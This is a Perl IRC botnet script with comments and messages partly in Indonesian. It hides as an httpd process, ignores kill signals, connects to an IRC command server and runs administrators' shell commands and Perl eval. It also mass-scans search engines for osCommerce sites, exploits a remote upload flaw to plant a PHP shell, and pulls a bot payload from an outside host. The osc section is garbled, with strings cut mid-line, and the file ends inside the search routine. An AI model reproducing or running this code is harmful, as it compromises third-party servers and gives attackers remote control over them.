#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI;
my $datetime = localtime;
my $fakeproc = "/usr/sbin/httpd";
my $ircserver = "irc.dialao.xyz";
my $ircport = "6677";
my $nickname = "oscox";
my $ident = "saya";
my $channel = "#Gorontalo";
my $chanx = "#Gorontalo";
my $admin = "sEm";
my $fullname = "7,1Dialao Network";
my $nob0dy = "9,1(4,1@3DN9,1)";
my $osclogo = "9,1(7,1@4Dialao Network9,1)";
my $osccmd = "!os";
my $osc_shell = "sem.php";
my $osc_bot = "http://hummingbirdhelicopters.us/wp-content/themes/sem.jpg";
#my $osc_bot = "http://weedbox.net/home/dialaonetg/sem.jpg";
my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick".int rand(999));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $mynick +Nx");
sendraw("JOIN $channel");
sleep(1);
sendraw("PRIVMSG $admin :Hai $admin Saya siap Merantau !!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :Indonesian Coder Team & Coreunix Team ");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$datetime."");
}
if (&isAdmin($nick) && $msg eq "!out") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :9Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
}
else {
if (&isAdmin($nick) && $msg eq "!out") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!part") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.perintah (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
eval "$1";
}
if (&isAdmin($nick) && $msg eq "!jump") {
sendraw("JUMP :Ganti Server...");
}
##################################################################### HELP COMMAND
if ($msg=~ /^!help/) {
my $helplogo = "9,1(7,1@4Help9,1)";
¬ice("$nick","$helplogo 7OsCommerce Remote Upload Vuln Scan:6 $osccmd [dork]");
}
if ($msg=~ /^!response/ || $msg=~ /^!id/) {
if (&isFound($timshell,"GIF89a")) {
¬ice("$path","[ $nick ] $osclogo6 siaaaaap.......!!!!");
} else {
¬ice("$path","[ $nick ] $osclogo6 siaaaaap.......????");
}
}
if ($msg=~ /^!version/) {
&msg("$path","7Multi scanner 6MeRanTau");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
¬ice("$nick","6Fake Process/PID : $fakeproc - $$");
}
##################################################################### osCommerce R-Upload Vuln SCAN
if ($msg=~ /^$osccmd\s+(.+)/) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
if (-e ($osc_shell)) {
my $dork = $1;
&msg("$path","$osclogo 7Dork :4,1 $dork");
&msg("$path","$thumblogo 4,1S8I9A11P 7!13!");
&osc_start($path,$dork,"gga,google2,ggb,ggc,ggd,gge,ggf,tawia,tawib,tawic,tawid,tawie,tawif,tawig,tawih,tawii,tawij,tawik,GoogleALLDOM,GoogleID,GooglePL,GoogleUK,GoogleBR,GoogleNET,GoogleORG,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleUS,GoogleAU,GoogleRO,GoogleMY,GoogleALLDOM,Google2,GoogleGR,GooglePL,GoogleJP,GoogleDK,GoogleNO,GoogleFI,GoogleIT,GoogleCA,GoogleDE,GoogleES,GoogleHK,GoogleAU,GoogleRO,GoogleRU,GooGLeSI,GooGLePT,GooGLeMS,GooGLeAU,GooGLeJJ,GooGLeFR,YahOo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,YahOo7,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsK,AsK1,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,GiGaBLasT,PaGina,ReDiff,AllTheWeb,ALtaViSTa,uol,Search66,Clix,Arrama,CluSty,Pencari,oNeT,WaLLa,TisCali,NaVeR,kimpet");
} else {
&msg("$path","[ $nick ] $osclogo 4,1Local PHP Shell not Found!");
}
}
exit;
}
}
#####################################################################
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
#########################################
sub osc_start() {
my $chan = $_[0];
my $dork = $_[1];
my $engine = $_[2];
if ($engine =~ /google/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"GooGLe");
} exit; }
}
if ($engine =~ /google2/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"GooGLe2");
} exit; }
}
if ($engine =~ /yahoo/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOo");
} exit; }
}
if ($engine =~ /yahooca/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoCA");
} exit; }
}
if ($engine =~ /yahoouk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoUK");
} exit; }
}
if ($engine =~ /yahoode/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoDE");
} exit; }
}
if ($engine =~ /yahoofr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoFR");
} exit; }
}
if ($engine =~ /yahooes/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoES");
} exit; }
}
if ($engine =~ /yahooit/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoIT");
} exit; }
}
if ($engine =~ /yahoohk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoHK");
} exit; }
}
if ($engine =~ /yahooid/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoID");
} exit; }
}
if ($engine =~ /yahooin/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoIN");
} exit; }
}
if ($engine =~ /yahooau/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoAU");
} exit; }
}
if ($engine =~ /yahoomx/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoMX");
} exit; }
}
if ($engine =~ /yahootw/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoTW");
} exit; }
}
if ($engine =~ /yahoobr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoBR");
} exit; }
}
if ($engine =~ /yahooar/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoAR");
} exit; }
}
if ($engine =~ /yahoonl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoNL");
} exit; }
}
if ($engine =~ /yahoodk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoDK");
} exit; }
}
if ($engine =~ /yahooph/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoPH");
} exit; }
}
if ($engine =~ /yahoocl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoCL");
} exit; }
}
if ($engine =~ /yahoor/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoRU");
} exit; }
}
if ($engine =~ /yahooch/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoCH");
} exit; }
}
if ($engine =~ /yahooco/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoCO");
} exit; }
}
if ($engine =~ /yahoofi/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoFI");
} exit; }
}
if ($engine =~ /yahooro/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoRO");
} exit; }
}
if ($engine =~ /yahoove/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoVE");
} exit; }
}
if ($engine =~ /yahooat/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoAT");
} exit; }
}
if ($engine =~ /yahoopl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoPL");
} exit; }
}
if ($engine =~ /yahookr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoKR");
} exit; }
}
if ($engine =~ /yahoonz/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoNZ");
} exit; }
}
if ($engine =~ /yahoogr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoGR");
} exit; }
}
if ($engine =~ /yahoope/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOoPE");
} exit; }
}
if ($engine =~ /yahoo7/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"YahOo7");
} exit; }
}
if ($engine =~ /bing/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"Bing");
} exit; }
}
if ($engine =~ /bingde/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingDE");
} exit; }
}
if ($engine =~ /binguk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingUK");
} exit; }
}
if ($engine =~ /bingca/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingCA");
} exit; }
}
if ($engine =~ /bingbr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingBR");
} exit; }
}
if ($engine =~ /bingfr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingFR");
} exit; }
}
if ($engine =~ /binges/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingES");
} exit; }
}
if ($engine =~ /bingit/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingIT");
} exit; }
}
if ($engine =~ /bingbe/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingBE");
} exit; }
}
if ($engine =~ /bingnl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingNL");
} exit; }
}
if ($engine =~ /bingpt/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingPT");
} exit; }
}
if ($engine =~ /bingno/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingNO");
} exit; }
}
if ($engine =~ /bingdk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingDK");
} exit; }
}
if ($engine =~ /bingse/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingSE");
} exit; }
}
if ($engine =~ /bingch/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingCH");
} exit; }
}
if ($engine =~ /bingnz/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingNZ");
} exit; }
}
if ($engine =~ /bingru/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingRU");
} exit; }
}
if ($engine =~ /bingjp/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingJP");
} exit; }
}
if ($engine =~ /bingcn/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingCN");
} exit; }
}
if ($engine =~ /bingkr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingKR");
} exit; }
}
if ($engine =~ /bingmx/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingMX");
} exit; }
}
if ($engine =~ /bingar/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingAR");
} exit; }
}
if ($engine =~ /bingcl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingCL");
} exit; }
}
if ($engine =~ /bingau/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"BingAU");
} exit; }
}
if ($engine =~ /ask/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsK");
} exit; }
}
if ($engine =~ /ask1/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsK1");
} exit; }
}
if ($engine =~ /AsKCA/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKCA");
} exit; }
}
if ($engine =~ /askde/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKDE");
} exit; }
}
if ($engine =~ /askit/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKIT");
} exit; }
}
if ($engine =~ /askfr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKFR");
} exit; }
}
if ($engine =~ /askes/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKES");
} exit; }
}
if ($engine =~ /askru/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKRU");
} exit; }
}
if ($engine =~ /asknl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKNL");
} exit; }
}
if ($engine =~ /askuk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKUK");
} exit; }
}
if ($engine =~ /askbr/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKBR");
} exit; }
}
if ($engine =~ /askpl/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKPL");
} exit; }
}
if ($engine =~ /askau/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKAU");
} exit; }
}
if ($engine =~ /askat/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKAT");
} exit; }
}
if ($engine =~ /askjp/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKJP");
} exit; }
}
if ($engine =~ /askse/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKSE");
} exit; }
}
if ($engine =~ /askmx/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKMX");
} exit; }
}
if ($engine =~ /askno/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKNO");
} exit; }
}
if ($engine =~ /askdk/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AsKDK");
} exit; }
}
if ($engine =~ /alltheweb/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"AllTheWeb");
} exit; }
}
if ($engine =~ /altavista/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"ALtaViSTa");
} exit; }
}
if ($engine =~ /uol/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"UoL");
} exit; }
}
if ($engine =~ /gigablast/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"GiGaBLasT");
} exit; }
}
if ($engine =~ /pagina/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"PaGina");
} exit; }
}
if ($engine =~ /redif/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"ReDiff");
} exit; }
}
if ($engine =~ /search66t/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"Search66");
} exit; }
}
if ($engine =~ /clik/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"Clix");
} exit; }
}
if ($engine =~ /arrama/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"Arrama");
} exit; }
}
if ($engine =~ /naver/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"NaVeR");
} exit; }
}
if ($engine =~ /onet/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"oNeT");
} exit; }
}
if ($engine =~ /walla/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"WaLLa");
} exit; }
}
if ($engine =~ /clusty/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"CluSty");
} exit; }
}
if ($engine =~ /tiscali/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"TisCali");
} exit; }
}
if ($engine =~ /pencari/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"Pencari");
} exit; }
}
if ($engine =~ /kimpet/i) {
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
&osc($chan,$dork,"kimpet");
} exit; }
}
}
#########################################
sub osc() {
my $chan = $_[0];
my $dork = $_[1];
my $engine = $_[2];
my $count = 0;
my @list = search_engine($chan,$dork,$engine,$osclogo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","$osclogo(7,1@4$engine9,1)11 udah !!"); }
my $test = "http://".$site.'admin/categories.php/login.php?cPath=&action=new_product_preview';
my $html = osc_upl_query($test);
if ($html =~ /File upload saved successfully/ || $html =~ /
");
&msg("$admin","$osclogo(7,1@4$engine9,1)9,1(13@7Shell9,1)11 http://".$site."images/7sem.php 9,1(7,1@3".$sys."9,1)(7,1@7connected .. !!9,1)");
&msg("$chan","$osclogo $engine4TARGET1 12SEND 3TO 13$admin Selamat Yaaa... ^_^ 4<9=4>");
&msg("$admin","$osclogo(7,1@4$engine9,1)9,1(13@7Shell9,1)11 http://".$site."images/7sem.php 9,1(7,1@3".$sys."9,1)(7,1@7connected .. !!9,1)");
my $uplbot = osc_uplbot_query($test); sleep(1);
if ($uplbot =~ / | ");
&msg("$admin","$osclogo(7,1@4$engine9,1)9,1(13@7Uploader9,1)11 http://".$site."images/7sem.php 9,1(7,1@3".$sys."9,1)(7,1@4,1refuse .. !!9,1)");
sleep(5);
}
else {
&msg("$chan","$osclogo $engine4TARGET1 12SEND 3TO 13$admin Selamat Yaaa... ^_^ 4<9=4>");
&msg("$admin","$osclogo(7,1@4$engine9,1)9,1(13@7Uploader9,1)11 http://".$site."images/7sem.php 9,1(7,1@3".$sys."9,1)(7,1@4,1refuse !!9,1)");
}
sleep(2);
} exit; } sleep(5);
}
}
}
}
#########################################
sub search_engine() {
my (@total,@clean);
my $chan = $_[0];
my $dork = $_[1];
my $engine = $_[2];
my $logo = $_[3];
if ($engine eq "GooGLe") { my @google = google($dork); push(@total,@google); }
if ($engine eq "gga") { my @gga = &gga($dork); push(@total,@gga); }
if ($engine eq "ggb") { my @ggb = &ggb($dork); push(@total,@ggb); }
if ($engine eq "ggc") { my @ggc = &ggc($dork); push(@total,@ggc); }
if ($engine eq "ggd") { my @ggd = &ggd($dork); push(@total,@ggd); }
if ($engine eq "gge") { my @gge = &gge($dork); push(@total,@gge); }
if ($engine eq "ggf") { my @ggf = &ggf($dork); push(@total,@ggf); }
if ($engine eq "tawi") { my @tawi = tawi($dork); push(@total,@tawi); }
if ($engine eq "tawia") { my @tawia = tawia($dork); push(@total,@tawia); }
if ($engine eq "tawib") { my @tawib = tawib($dork); push(@total,@tawib); }
if ($engine eq "tawic") { my @tawic = tawic($dork); push(@total,@tawic); }
if ($engine eq "tawid") { my @tawid = tawid($dork); push(@total,@tawid); }
if ($engine eq "tawie") { my @tawie = tawie($dork); push(@total,@tawie); }
if ($engine eq "tawif") { my @tawif = tawif($dork); push(@total,@tawif); }
if ($engine eq "tawig") { my @tawig = tawig($dork); push(@total,@tawig); }
if ($engine eq "tawih") { my @tawih = tawih($dork); push(@total,@tawih); }
if ($engine eq "tawii") { my @tawii = tawii($dork); push(@total,@tawii); }
if ($engine eq "tawij") { my @tawij = tawij($dork); push(@total,@tawij); }
if ($engine eq "tawik") { my @tawik = tawik($dork); push(@total,@tawik); }
if ($engine eq "GoogleALLDOM") { my @galldom = &galldom($dork); push(@total,@galldom); }
if ($engine eq "GooGLe2") { my @google2 = google2($dork); push(@total,@google2); }
if ($engine eq "GoogleGR") { my @ggr = &ggr($dork); push(@total,@ggr); }
if ($engine eq "GooglePL") { my @gpl = &gpl($dork); push(@total,@gpl); }
if ($engine eq "GoogleJP") { my @gjp = &gjp($dork); push(@total,@gjp); }
if ($engine eq "GoogleDK") { my @gdk = &gdk($dork); push(@total,@gdk); }
if ($engine eq "GoogleNO") { my @gno = &gno($dork); push(@total,@gno); }
if ($engine eq "GoogleFI") { my @gfi = &gfi($dork); push(@total,@gfi); }
if ($engine eq "GoogleIT") { my @git = &git($dork); push(@total,@git); }
if ($engine eq "GoogleCA") { my @gca = &gca($dork); push(@total,@gca); }
if ($engine eq "GoogleDE") { my @gde = &gde($dork); push(@total,@gde); }
if ($engine eq "GoogleES") { my @ges = &ges($dork); push(@total,@ges); }
if ($engine eq "GoogleHK") { my @ghk = &ghk($dork); push(@total,@ghk); }
if ($engine eq "GoogleAU") { my @gau = &gau($dork); push(@total,@gau); }
if ($engine eq "GoogleRO") { my @gro = &gro($dork); push(@total,@gro); }
if ($engine eq "GoogleRU") { my @gru = &gru($dork); push(@total,@gru); }
if ($engine eq "GoogleSI") { my @gsi = &gsi($dork); push(@total,@gsi); }
if ($engine eq "GooglePT") { my @gpt = &gpt($dork); push(@total,@gpt); }
if ($engine eq "GoogleMS") { my @gms = &gms($dork); push(@total,@gms); }
if ($engine eq "GooGLeAF") { my @af = &af($dork); push(@total,@af); }
if ($engine eq "YahOo") { my @yahoo = yahoo($dork); push(@total,@yahoo); }
if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
